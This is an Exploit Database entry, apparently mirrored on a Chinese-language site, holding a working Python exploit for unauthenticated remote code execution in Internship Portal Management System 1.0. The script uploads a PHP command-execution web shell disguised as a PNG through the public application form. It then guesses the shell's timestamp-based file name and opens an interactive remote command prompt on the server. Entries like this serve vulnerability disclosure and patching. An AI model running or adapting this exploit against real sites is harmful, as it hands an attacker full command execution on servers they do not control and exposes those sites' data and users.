Internship Portal Management System 1.0 – Remote Code Execution(Unauthenticated)

• Exploit Database
• 10 阅读

• 作者： argenestel
  日期： 2021-05-04
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49823/

• # Exploit Title: Internship Portal Management System 1.0 - Remote Code Execution Via File Upload (Unauthenticated)
  # Date: 2021-05-04
  # Exploit Author: argenestel
  # Vendor Homepage: https://www.sourcecodester.com/php/11712/internship-portal-management-system.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=11712&title=Internship+Portal+Management+System+using+PHP+with+Source+Code
  # Version: 1.0
  # Tested on: Debian 10
  
  import requests
  import time
  
  #change the url to the site running the vulnerable system
  url="http://127.0.0.1:4000"
  #burp proxy
  proxies = {
   "http": "http://127.0.0.1:8080",
  }
  #payload
  payload='<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
  
  #the upload point
  insert_url=url+"/inserty.php"
  
  def fill_details():
  global payload
  global shellend
  global shellstart
  print("Online Intern System 1.0 Exploit: Unauth RCE via File Upload")
  #time start
  shellstart=int(time.time())
  #print(shellstart)
  files= {'file':('shell.php',payload,
  'image/png', {'Content-Disposition': 'form-data'}
  )
  }
  data = {
  "company_name":"some",
  "first_name":"some",
  "last_name":"some",
  "email":"some@some.com",
  "gender":"Male",
  "insert_button":"Apply",
  "terms":"on"
  }
  r = requests.post(insert_url, data=data, files=files)
  if r.status_code == 200:
  print("Exploited Intern System Successfully...")
  shellend = int(time.time())
  #print(shellend)
  shell()
  else:
  print("Exploit Failed")
  
  def shell():
  for shellname in range(shellstart, shellend+1):
  shellstr=str(shellname)
  shell_url=url+"/upload/"+shellstr+"_shell.php"
  r = requests.get(shell_url)
  if r.status_code == 200:
  shell_url=url+"/upload/"+shellstr+"_shell.php"
  break
  
  r = requests.get(shell_url)
  if r.status_code == 200:
  print("Shell Starting...")
  while True:
  cmd=input("cmd$ ")
  r = requests.get(shell_url+"?cmd="+cmd)
  print(r.text)
  else:
  print("File Name Error")
  
  
  fill_details()